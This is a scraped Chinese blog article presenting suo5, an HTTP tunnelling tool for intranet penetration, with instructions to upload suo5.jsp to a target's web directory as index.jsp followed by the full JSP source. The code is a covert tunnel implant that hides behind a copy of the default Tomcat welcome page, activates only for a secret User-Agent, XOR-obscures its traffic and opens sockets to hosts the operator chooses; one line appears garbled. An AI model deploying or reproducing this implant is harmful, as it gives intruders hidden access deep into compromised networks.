国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Suo5-HTTP 代理隧道工具

這篇具有很好參考價值的文章主要介紹了Suo5-HTTP 代理隧道工具。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

Suo5-HTTP 代理隧道工具

一、介紹

地址: https://github.com/zema1/suo5

suo5 是一個全新的 HTTP 代理隧道,基于 HTTP/1.1 的 Chunked-Encoding 構(gòu)建。相比 Neo-reGeorg 等傳統(tǒng)隧道工具, suo5 的性能可以達到其數(shù)十倍

http隧道工具,內(nèi)網(wǎng)滲透,http,java,jvm

http隧道工具,內(nèi)網(wǎng)滲透,http,java,jvm

二、使用方式

上傳suo5.jsp 到目標解析目錄即可,改名為index.jsp
http隧道工具,內(nèi)網(wǎng)滲透,http,java,jvm

http隧道工具,內(nèi)網(wǎng)滲透,http,java,jvm文章來源地址http://www.zghlxwxcb.cn/news/detail-540903.html

<%--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements.  See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License.  You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--%>



<%@ page session="false" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
<%
java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy");
request.setAttribute("year", sdf.format(new java.util.Date()));
request.setAttribute("tomcatUrl", "https://tomcat.apache.org/");
request.setAttribute("tomcatDocUrl", "/docs/");
request.setAttribute("tomcatExamplesUrl", "/examples/");
%>

<%@ page trimDirectiveWhitespaces="true" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.io.*" %>
<%@ page import="java.net.Socket" %>
<%@ page import="java.net.InetSocketAddress" %>
<%@ page import="java.util.Date" %>
<%@ page import="java.util.Arrays" %>
<%!
    public class Safety implements Runnable {

        InputStream gInStream;
        OutputStream gOutStream;

        private void setStream(InputStream in, OutputStream out) {
            gInStream = in;
            gOutStream = out;
        }

        public void process(ServletRequest sReq, ServletResponse sResp)  {
            HttpServletRequest request = (HttpServletRequest) sReq;
            HttpServletResponse response = (HttpServletResponse) sResp;
            String agent = request.getHeader("User-Agent");
            String contentType = request.getHeader("Content-Type");

            if (agent == null || !agent.equals("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3")) {
                return;
            }
            if (contentType == null) {
                return;
            }

            try {
                if (contentType.equals("application/plain")) {
                    tryFullDuplex(request, response);
                    return;
                }

                if (contentType.equals("application/octet-stream"))  {
                    processDataBio(request, response);
                } else {
                    processDataUnary(request, response);
                }
            } catch (Throwable e) {

            }
        }

        public void readInputStreamWithTimeout(InputStream is, byte[] b, int timeoutMillis) throws IOException, InterruptedException {
            int bufferOffset = 0;
            long maxTimeMillis = new Date().getTime() + timeoutMillis;
            while (new Date().getTime() < maxTimeMillis && bufferOffset < b.length) {
                int readLength = b.length - bufferOffset;
                if (is.available() < readLength) {
                    readLength = is.available();
                }
                // can alternatively use bufferedReader, guarded by isReady():
                int readResult = is.read(b, bufferOffset, readLength);
                if (readResult == -1) break;
                bufferOffset += readResult;
                Thread.sleep(200);
            }
        }

        public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
            InputStream in = request.getInputStream();
            byte[] data = new byte[32];
            readInputStreamWithTimeout(in, data, 2000);
            OutputStream out = response.getOutputStream();
            out.write(data);
        }


        private HashMap newCreate(byte s) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x04});
            m.put("s", new byte[]{s});
            return m;
        }

        private HashMap newData(byte[] data) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x01});
            m.put("dt", data);
            return m;
        }

        private HashMap newDel() {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("ac", new byte[]{0x02});
            return m;
        }

        private HashMap newStatus(byte b) {
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            m.put("s", new byte[]);
            return m;
        }

        byte[] u32toBytes(int i) {
            byte[] result = new byte[4];
            result[0] = (byte) (i >> 24);
            result[1] = (byte) (i >> 16);
            result[2] = (byte) (i >> 8);
            result[3] = (byte) (i /*>> 0*/);
            return result;
        }

        int bytesToU32(byte[] bytes) {
            return ((bytes[0] & 0xFF) << 24) |
                    ((bytes[1] & 0xFF) << 16) |
                    ((bytes[2] & 0xFF) << 8) |
                    ((bytes[3] & 0xFF) << 0);
        }


        private byte[] marshal(HashMap<String, byte[]> m) throws IOException {
            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            for (String key : m.keySet()) {
                byte[] value = m.get(key);
                buf.write((byte) key.length());
                buf.write(key.getBytes());
                buf.write(u32toBytes(value.length));
                buf.write(value);
            }

            byte[] data = buf.toByteArray();
            ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
            dbuf.putInt(data.length);
            // xor key
            byte key = data[data.length / 2];
            dbuf.put(key);
            for (int i = 0; i < data.length; i++) {
                data[i] = (byte) (data[i] ^ key);
            }
            dbuf.put(data);
            return dbuf.array();
        }

        private HashMap<String, byte[]> unmarshal(InputStream in) throws Exception {
            DataInputStream reader = new DataInputStream(in);
            byte[] header = new byte[4 + 1];
            reader.readFully(header);
            // read full
            ByteBuffer bb = ByteBuffer.wrap(header);
            int len = bb.getInt();
            int x = bb.get();
            if (len > 1024 * 1024 * 32) {
                throw new IOException("invalid len");
            }
            byte[] bs = new byte[len];
            reader.readFully(bs);
            for (int i = 0; i < bs.length; i++) {
                bs[i] = (byte) (bs[i] ^ x);
            }
            HashMap<String, byte[]> m = new HashMap<String, byte[]>();
            byte[] buf;
            for (int i = 0; i < bs.length - 1; ) {
                short kLen = bs[i];
                i += 1;
                if (i + kLen >= bs.length) {
                    throw new Exception("key len error");
                }
                if (kLen < 0) {
                    throw new Exception("key len error");
                }
                buf = Arrays.copyOfRange(bs, i, i+kLen);
                String key = new String(buf);
                i += kLen;

                if (i + 4 >= bs.length) {
                    throw new Exception("value len error");
                }
                buf = Arrays.copyOfRange(bs, i, i+4);
                int vLen = bytesToU32(buf);
                i += 4;
                if (vLen < 0) {
                    throw new Exception("value error");
                }

                if (i + vLen > bs.length) {
                    throw new Exception("value error");
                }
                byte[] value = Arrays.copyOfRange(bs, i, i+vLen);
                i += vLen;

                m.put(key, value);
            }
            return m;
        }

        private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
            final InputStream reqInputStream = request.getInputStream();
            final BufferedInputStream reqReader = new BufferedInputStream(reqInputStream);
            HashMap<String, byte[]> dataMap;
            dataMap = unmarshal(reqReader);

            byte[] action = dataMap.get("ac");
            if (action.length != 1 || action[0] != 0x00) {
                resp.setStatus(403);
                return;
            }
            resp.setBufferSize(8 * 1024);
            final OutputStream respOutStream = resp.getOutputStream();

            resp.setHeader("X-Accel-Buffering", "no");
            String host = new String(dataMap.get("h"));
            int port = Integer.parseInt(new String(dataMap.get("p")));
            Socket sc;
            try {
                sc = new Socket();
                sc.connect(new InetSocketAddress(host, port), 5000);
            } catch (Exception e) {
                respOutStream.write(marshal(newStatus((byte) 0x01)));
                respOutStream.flush();
                respOutStream.close();
                return;
            }

            respOutStream.write(marshal(newStatus((byte) 0x00)));
            respOutStream.flush();

            final OutputStream scOutStream = sc.getOutputStream();
            final InputStream scInStream = sc.getInputStream();

            Thread t = null;
            try {
                Safety p = new Safety();
                p.setStream(scInStream, respOutStream);
                t = new Thread(p);
                t.start();
                readReq(reqReader, scOutStream);
            } catch (Exception e) {

            } finally {
                sc.close();
                respOutStream.close();
                if (t != null) {
                    t.join();
                }
            }
        }

        private void readSocket(InputStream inputStream, OutputStream outputStream) throws IOException {
            byte[] readBuf = new byte[1024 * 8];

            while (true) {
                int n = inputStream.read(readBuf);
                if (n <= 0) {
                    break;
                }
                byte[] dataTmp = Arrays.copyOfRange(readBuf, 0, 0+n);
                byte[] finalData = marshal(newData(dataTmp));
                outputStream.write(finalData);
                outputStream.flush();
            }
        }

        private void readReq(BufferedInputStream bufInputStream, OutputStream socketOutStream) throws Exception {
            while (true) {
                HashMap<String, byte[]> dataMap;
                dataMap = unmarshal(bufInputStream);

                byte[] action = dataMap.get("ac");
                if (action.length != 1) {
                    return;
                }
                if (action[0] == 0x02) {
                    socketOutStream.close();
                    return;
                } else if (action[0] == 0x01) {
                    byte[] data = dataMap.get("dt");
                    if (data.length != 0) {
                        socketOutStream.write(data);
                        socketOutStream.flush();
                    }
                } else {
                    return;
                }
            }
        }

        private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
                Exception {
            InputStream is = request.getInputStream();
            ServletContext ctx = request.getSession().getServletContext();
            BufferedInputStream reader = new BufferedInputStream(is);
            HashMap<String, byte[]> dataMap;
            dataMap = unmarshal(reader);

            String clientId = new String(dataMap.get("id"));
            byte[] action = dataMap.get("ac");
            if (action.length != 1) {
                resp.setStatus(403);
                return;
            }

            resp.setBufferSize(8 * 1024);
            OutputStream respOutStream = resp.getOutputStream();
            if (action[0] == 0x02) {
                OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId);
                if (scOutStream != null) {
                    scOutStream.close();
                }
                return;
            } else if (action[0] == 0x01) {
                OutputStream scOutStream = (OutputStream) ctx.getAttribute(clientId);
                if (scOutStream == null) {
                    respOutStream.write(marshal(newDel()));
                    respOutStream.flush();
                    respOutStream.close();
                    return;
                }
                byte[] data = dataMap.get("dt");
                if (data.length != 0) {
                    scOutStream.write(data);
                    scOutStream.flush();
                }
                respOutStream.close();
                return;
            }

            resp.setHeader("X-Accel-Buffering", "no");
            String host = new String(dataMap.get("h"));
            int port = Integer.parseInt(new String(dataMap.get("p")));
            Socket sc;
            try {
                sc = new Socket();
                sc.connect(new InetSocketAddress(host, port), 5000);
            } catch (Exception e) {
                respOutStream.write(marshal(newStatus((byte) 0x01)));
                respOutStream.flush();
                respOutStream.close();
                return;
            }

            OutputStream scOutStream = sc.getOutputStream();
            ctx.setAttribute(clientId, scOutStream);
            respOutStream.write(marshal(newStatus((byte) 0x00)));
            respOutStream.flush();

            InputStream scInStream = sc.getInputStream();

            try {
                readSocket(scInStream, respOutStream);
            } catch (Exception e) {

            } finally {
                sc.close();
                respOutStream.close();
                ctx.removeAttribute(clientId);
            }
        }

        public void run() {
            try {
                readSocket(gInStream, gOutStream);
            } catch (Exception e) {

            }
        }
    }
%>
<%
    Safety o = new Safety();
    o.process(request, response);
%>

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title><%=request.getServletContext().getServerInfo() %></title>
        <link href="favicon.ico" rel="icon" type="image/x-icon" />
        <link href="tomcat.css" rel="stylesheet" type="text/css" />
    </head>

    <body>
        <div id="wrapper">
            <div id="navigation" class="curved container">
                <span id="nav-home"><a href="${tomcatUrl}">Home</a></span>
                <span id="nav-hosts"><a href="${tomcatDocUrl}">Documentation</a></span>
                <span id="nav-config"><a href="${tomcatDocUrl}config/">Configuration</a></span>
                <span id="nav-examples"><a href="${tomcatExamplesUrl}">Examples</a></span>
                <span id="nav-wiki"><a >Wiki</a></span>
                <span id="nav-lists"><a href="${tomcatUrl}lists.html">Mailing Lists</a></span>
                <span id="nav-help"><a href="${tomcatUrl}findhelp.html">Find Help</a></span>
                <br class="separator" />
            </div>
            <div id="asf-box">
                <h1>${pageContext.servletContext.serverInfo}</h1>
            </div>
            <div id="upper" class="curved container">
                <div id="congrats" class="curved container">
                    <h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
                </div>
                <div id="notice">
                    <img id="tomcat-logo" src="tomcat.svg" alt="[tomcat logo]" />
                    <div id="tasks">
                        <h3>Recommended Reading:</h3>
                        <h4><a href="${tomcatDocUrl}security-howto.html">Security Considerations How-To</a></h4>
                        <h4><a href="${tomcatDocUrl}manager-howto.html">Manager Application How-To</a></h4>
                        <h4><a href="${tomcatDocUrl}cluster-howto.html">Clustering/Session Replication How-To</a></h4>
                    </div>
                </div>
                <div id="actions">
                    <div class="button">
                        <a class="container shadow" href="/manager/status"><span>Server Status</span></a>
                    </div>
                    <div class="button">
                        <a class="container shadow" href="/manager/html"><span>Manager App</span></a>
                    </div>
                    <div class="button">
                        <a class="container shadow" href="/host-manager/html"><span>Host Manager</span></a>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="middle" class="curved container">
                <h3>Developer Quick Start</h3>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatDocUrl}setup.html">Tomcat Setup</a></p>
                        <p><a href="${tomcatDocUrl}appdev/">First Web Application</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatDocUrl}realm-howto.html">Realms &amp; AAA</a></p>
                        <p><a href="${tomcatDocUrl}jndi-datasource-examples-howto.html">JDBC DataSources</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a href="${tomcatExamplesUrl}">Examples</a></p>
                    </div>
                </div>
                <div class="col25">
                    <div class="container">
                        <p><a >Servlet Specifications</a></p>
                        <p><a >Tomcat Versions</a></p>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="lower">
                <div id="low-manage" class="">
                    <div class="curved container">
                        <h3>Managing Tomcat</h3>
                        <p>For security, access to the <a href="/manager/html">manager webapp</a> is restricted.
                        Users are defined in:</p>
                        <pre>$CATALINA_HOME/conf/tomcat-users.xml</pre>
                        <p>In Tomcat 9.0 access to the manager application is split between
                           different users. &nbsp; <a href="${tomcatDocUrl}manager-howto.html">Read more...</a></p>
                        <br />
                        <h4><a href="${tomcatDocUrl}RELEASE-NOTES.txt">Release Notes</a></h4>
                        <h4><a href="${tomcatDocUrl}changelog.html">Changelog</a></h4>
                        <h4><a href="${tomcatUrl}migration.html">Migration Guide</a></h4>
                        <h4><a href="${tomcatUrl}security.html">Security Notices</a></h4>
                    </div>
                </div>
                <div id="low-docs" class="">
                    <div class="curved container">
                        <h3>Documentation</h3>
                        <h4><a href="${tomcatDocUrl}">Tomcat 9.0 Documentation</a></h4>
                        <h4><a href="${tomcatDocUrl}config/">Tomcat 9.0 Configuration</a></h4>
                        <h4><a >Tomcat Wiki</a></h4>
                        <p>Find additional important configuration information in:</p>
                        <pre>$CATALINA_HOME/RUNNING.txt</pre>
                        <p>Developers may be interested in:</p>
                        <ul>
                            <li><a >Tomcat 9.0 Bug Database</a></li>
                            <li><a href="${tomcatDocUrl}api/index.html">Tomcat 9.0 JavaDocs</a></li>
                            <li><a >Tomcat 9.0 Git Repository at GitHub</a></li>
                        </ul>
                    </div>
                </div>
                <div id="low-help" class="">
                    <div class="curved container">
                        <h3>Getting Help</h3>
                        <h4><a href="${tomcatUrl}faq/">FAQ</a> and <a href="${tomcatUrl}lists.html">Mailing Lists</a></h4>
                        <p>The following mailing lists are available:</p>
                        <ul>
                            <li id="list-announce"><strong><a href="${tomcatUrl}lists.html#tomcat-announce">tomcat-announce</a><br />
                                Important announcements, releases, security vulnerability notifications. (Low volume).</strong>
                            </li>
                            <li><a href="${tomcatUrl}lists.html#tomcat-users">tomcat-users</a><br />
                                User support and discussion
                            </li>
                            <li><a href="${tomcatUrl}lists.html#taglibs-user">taglibs-user</a><br />
                                User support and discussion for <a href="${tomcatUrl}taglibs/">Apache Taglibs</a>
                            </li>
                            <li><a href="${tomcatUrl}lists.html#tomcat-dev">tomcat-dev</a><br />
                                Development mailing list, including commit messages
                            </li>
                        </ul>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <div id="footer" class="curved container">
                <div class="col20">
                    <div class="container">
                        <h4>Other Downloads</h4>
                        <ul>
                            <li><a href="${tomcatUrl}download-connectors.cgi">Tomcat Connectors</a></li>
                            <li><a href="${tomcatUrl}download-native.cgi">Tomcat Native</a></li>
                            <li><a href="${tomcatUrl}taglibs/">Taglibs</a></li>
                            <li><a href="${tomcatDocUrl}deployer-howto.html">Deployer</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Other Documentation</h4>
                        <ul>
                            <li><a href="${tomcatUrl}connectors-doc/">Tomcat Connectors</a></li>
                            <li><a href="${tomcatUrl}connectors-doc/">mod_jk Documentation</a></li>
                            <li><a href="${tomcatUrl}native-doc/">Tomcat Native</a></li>
                            <li><a href="${tomcatDocUrl}deployer-howto.html">Deployer</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Get Involved</h4>
                        <ul>
                            <li><a href="${tomcatUrl}getinvolved.html">Overview</a></li>
                            <li><a href="${tomcatUrl}source.html">Source Repositories</a></li>
                            <li><a href="${tomcatUrl}lists.html">Mailing Lists</a></li>
                            <li><a >Wiki</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Miscellaneous</h4>
                        <ul>
                            <li><a href="${tomcatUrl}contact.html">Contact</a></li>
                            <li><a href="${tomcatUrl}legal.html">Legal</a></li>
                            <li><a >Sponsorship</a></li>
                            <li><a >Thanks</a></li>
                        </ul>
                    </div>
                </div>
                <div class="col20">
                    <div class="container">
                        <h4>Apache Software Foundation</h4>
                        <ul>
                            <li><a href="${tomcatUrl}whoweare.html">Who We Are</a></li>
                            <li><a href="${tomcatUrl}heritage.html">Heritage</a></li>
                            <li><a >Apache Home</a></li>
                            <li><a href="${tomcatUrl}resources.html">Resources</a></li>
                        </ul>
                    </div>
                </div>
                <br class="separator" />
            </div>
            <p class="copyright">Copyright &copy;1999-${year} Apache Software Foundation.  All Rights Reserved</p>
        </div>
    </body>

</html>

到了這里,關(guān)于Suo5-HTTP 代理隧道工具的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權(quán),不承擔相關(guān)法律責任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領支付寶紅包贊助服務器費用

相關(guān)文章

  • python使用HTTP隧道代理代碼示例模板

    以下是使用HTTP隧道代理的Python代碼示例模板: ```python import requests # 設置代理服務器地址和端口號 proxy_host = \\\"your_proxy_host\\\" proxy_port = \\\"your_proxy_port\\\" # 設置代理服務器的用戶名和密碼(如果需要) proxy_username = \\\"your_proxy_username\\\" proxy_password = \\\"your_proxy_password\\\" # 構(gòu)造代理服務器的認

    2024年02月08日
    瀏覽(15)
  • 內(nèi)網(wǎng)隧道—HTTP\DNS\ICMP

    內(nèi)網(wǎng)隧道—HTTP\DNS\ICMP

    ?????? 本文僅限于安全研究和學習,用戶承擔因使用此工具而導致的所有法律和相關(guān)責任! 作者不承擔任何法律和相關(guān)責任! Neo-reGeorg 是一個旨在積極重構(gòu) reGeorg 的項目,目的是: 提高可用性,避免特征檢測 提高 tunnel 連接安全性 提高傳輸內(nèi)容保密性 應對更多的網(wǎng)絡環(huán)

    2024年02月13日
    瀏覽(20)
  • SSH隧道動態(tài)轉(zhuǎn)發(fā)端口實現(xiàn)SOCKS代理 + HTTP代理(Privoxy)

    SSH隧道動態(tài)轉(zhuǎn)發(fā)端口實現(xiàn)SOCKS代理 + HTTP代理(Privoxy)

    實現(xiàn)效果 :ssh連接遠程服務器進行網(wǎng)絡轉(zhuǎn)發(fā),本地服務連接網(wǎng)絡代理 環(huán)境 :windows11/10 需要工具 :MobaXterm(ssh隧道端口轉(zhuǎn)發(fā)),Privoxy(socks轉(zhuǎn)http代理),一個云服務器 多種方法選一種即可:? 命令行: ssh -C -N -D LOCAL_ADDRESS:LOCAL_PORT USER@REMOTE_ADDRESS Putty客戶端 MobaXteam中的 Mo

    2023年04月09日
    瀏覽(25)
  • CentOS 7.6的HTTP隧道代理如何支持移動設備和遠程用戶

    CentOS 7.6的HTTP隧道代理如何支持移動設備和遠程用戶

    在CentOS 7.6上配置HTTP隧道代理以支持移動設備和遠程用戶,需要考慮到移動網(wǎng)絡的特點以及遠程用戶的需求。以下是一些關(guān)鍵步驟和策略,可以幫助你實現(xiàn)這一目標。 1. 優(yōu)化移動設備體驗 壓縮數(shù)據(jù) :HTTP隧道代理可以用于壓縮進出移動網(wǎng)絡的數(shù)據(jù),以減少傳輸時間和流量消耗

    2024年02月02日
    瀏覽(19)
  • 內(nèi)網(wǎng)隧道代理技術(shù)(二十一)之 CS工具自帶中轉(zhuǎn)技術(shù)上線不出網(wǎng)機器

    內(nèi)網(wǎng)隧道代理技術(shù)(二十一)之 CS工具自帶中轉(zhuǎn)技術(shù)上線不出網(wǎng)機器

    如圖A區(qū)域存在一臺中轉(zhuǎn)機器,這臺機器可以出網(wǎng),這種是最常見的情況。我們在滲透測試的過程中經(jīng)常是拿下一臺邊緣機器,其有多塊網(wǎng)卡,邊緣機器可以訪問內(nèi)網(wǎng)機器,內(nèi)網(wǎng)機器都不出網(wǎng)。這種情況下拿這個邊緣機器做中轉(zhuǎn),就可以使用CS工具自帶上線不出網(wǎng)機器 網(wǎng)絡拓撲

    2024年02月10日
    瀏覽(24)
  • 與世界分享我剛編的mysql http隧道工具-hersql原理與使用

    原文地址:https://blog.fanscore.cn/a/53/ 本文是與世界分享我剛編的轉(zhuǎn)發(fā)ntunnel_mysql.php的工具的后續(xù),之前的實現(xiàn)有些拉胯,這次重構(gòu)了下。需求背景是為了在本地macbook上通過開源的mysql可視化客戶端(dbeaver、Sequel Ace等)訪問我司測試環(huán)境的mysql,整個測試環(huán)境的如圖所示: 那么就有以

    2024年02月06日
    瀏覽(17)
  • 內(nèi)網(wǎng)隧道代理技術(shù)(十一)之公網(wǎng)資產(chǎn)掃描-代理池配置

    內(nèi)網(wǎng)隧道代理技術(shù)(十一)之公網(wǎng)資產(chǎn)掃描-代理池配置

    代理池的意思就是擁有多個代理可以隨意切換IP的東西,每次用戶的請求通過代理池,每個請求包的IP地址是不同的,那么代理池一般有幾種用法呢? 購買代理池,購買的東西會自動切換IP,簡單又方便(大力推薦) 有些工具可以支持文本代理的方式,就是將很多單個IP代理放

    2024年02月13日
    瀏覽(19)
  • 內(nèi)網(wǎng)隧道代理技術(shù)(十五)之 Earthworm的使用(二級代理)

    內(nèi)網(wǎng)隧道代理技術(shù)(十五)之 Earthworm的使用(二級代理)

    本文緊接著上一篇文章繼續(xù)講解Earthworm工具的使用 二級正向代理發(fā)生在如下的情況: 1、Web服務器在公網(wǎng),黑客可以直接訪問 2、B機器在內(nèi)網(wǎng),黑客不能直接訪問 3、Web服務器可以訪問內(nèi)網(wǎng)機器B 4、內(nèi)網(wǎng)機器B可以訪問公司內(nèi)部機器 在這種情況下我們可以使用(二級代理)正向

    2024年02月14日
    瀏覽(16)
  • 70內(nèi)網(wǎng)安全-域橫向內(nèi)網(wǎng)漫游Socks代理隧道技術(shù)(下)

    70內(nèi)網(wǎng)安全-域橫向內(nèi)網(wǎng)漫游Socks代理隧道技術(shù)(下)

    ? ? ? ? ? 這節(jié)課解決代理的問題, 他是內(nèi)網(wǎng)里面的穿透技術(shù),隧道主要安全設備和流量監(jiān)控的攔截問題,我們在做滲透的時候需要回顯數(shù)據(jù)或者一些重要的信息,走的協(xié)議不一樣,tcp/ip有七層, 在不同層里面有不同的協(xié)議,有一些協(xié)議會受到防火墻,過濾設備和流量檢測

    2024年02月03日
    瀏覽(50)
  • Linux命令行工具使用HTTP代理的方法詳解

    Linux命令行工具使用HTTP代理的方法詳解

    親愛的Linux用戶們,有沒有想過在命令行世界里,你的每一個指令都能悄無聲息地穿越千山萬水,而不被外界窺探?哈哈,沒錯,就是通過HTTP代理!今天,我們就來一起探索如何在Linux命令行工具中使用HTTP代理,讓你的指令行走江湖更加神秘莫測! 一、設置環(huán)境變量 首先,

    2024年04月24日
    瀏覽(25)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包